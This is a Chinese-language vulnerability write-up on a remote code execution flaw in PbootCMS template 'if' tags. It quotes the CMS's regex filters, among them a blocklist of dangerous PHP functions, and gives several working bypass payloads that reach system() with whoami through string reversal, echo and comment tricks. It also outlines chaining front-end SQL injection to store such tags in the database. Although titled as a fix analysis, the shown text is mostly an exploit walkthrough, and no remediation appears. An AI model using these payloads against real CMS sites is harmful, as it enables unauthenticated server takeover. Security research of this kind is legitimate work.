CMS 模板注入导致前台 RCE 漏洞挖掘与修复分析
前言
本文记录了一起针对某 CMS 系统前台远程代码执行(RCE)漏洞的挖掘过程。该漏洞源于系统新增功能的安全防御缺失,允许攻击者通过 SQL 注入将恶意模板标签写入数据库,进而触发命令执行。
漏洞原理分析
首先分析目标系统的 if 标签解析逻辑。系统使用正则表达式对标签内容进行校验,主要包含三个正则:
/{pboot:if\(([^}^\$]+)\)}([\s\S]*?)\{/pboot:if}/
/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\]+)?\(/i
/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(\`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i
相较于旧版本,第三条正则增加了 ([\w\s.]+) 的匹配,意图禁止 if 标签条件中的小括号内容。但测试发现,使用 xxx("xxx") 形式可绕过校验而不影响代码执行。
假设可直接编辑模板,以执行 system 函数为目标,尝试绕过正则校验:
strrev('metsys')('whoami');
构造 Payload 测试:
{pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
测试发现无法执行,因为被第二条正则拦截到 strrev 为已定义函数。通过在 strrev 前添加字符干扰校验:
{pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
此时出现 eval 执行错误信息,说明成功绕过校验,eval 执行了输入内容。目标是寻找一个能替代 xxx 且不会报错的内容。经过测试,使用 echo 语句可以配合执行:
{pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
成功执行 system 函数。此外,使用注释方式亦可绕过:
{pboot:if(1) /*y*/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
利用链构建
仅执行命令不够,需找到用户可控点来解析 if 标签。在前台搜索功能处可解析输入的 if 标签。对于 pboot@if 的替换,可使用如下形式绕过:
{pboot{user:password}:if
但在该版本中移除了 decode_string 函数,标签解析时单双引号被编码,无法正常解析。由于利用需要双引号绕过第二个正则,前台搜索暂时无法直接利用。需寻找其他利用方式。
在查看 CMS 更新日志时,发现程序新增加了解析 sql 的标签。这意味着可能在前台利用搜索功能执行 SQL 语句,将标签插入到数据库中,从而跨过后台配置功能直接实现 RCE。


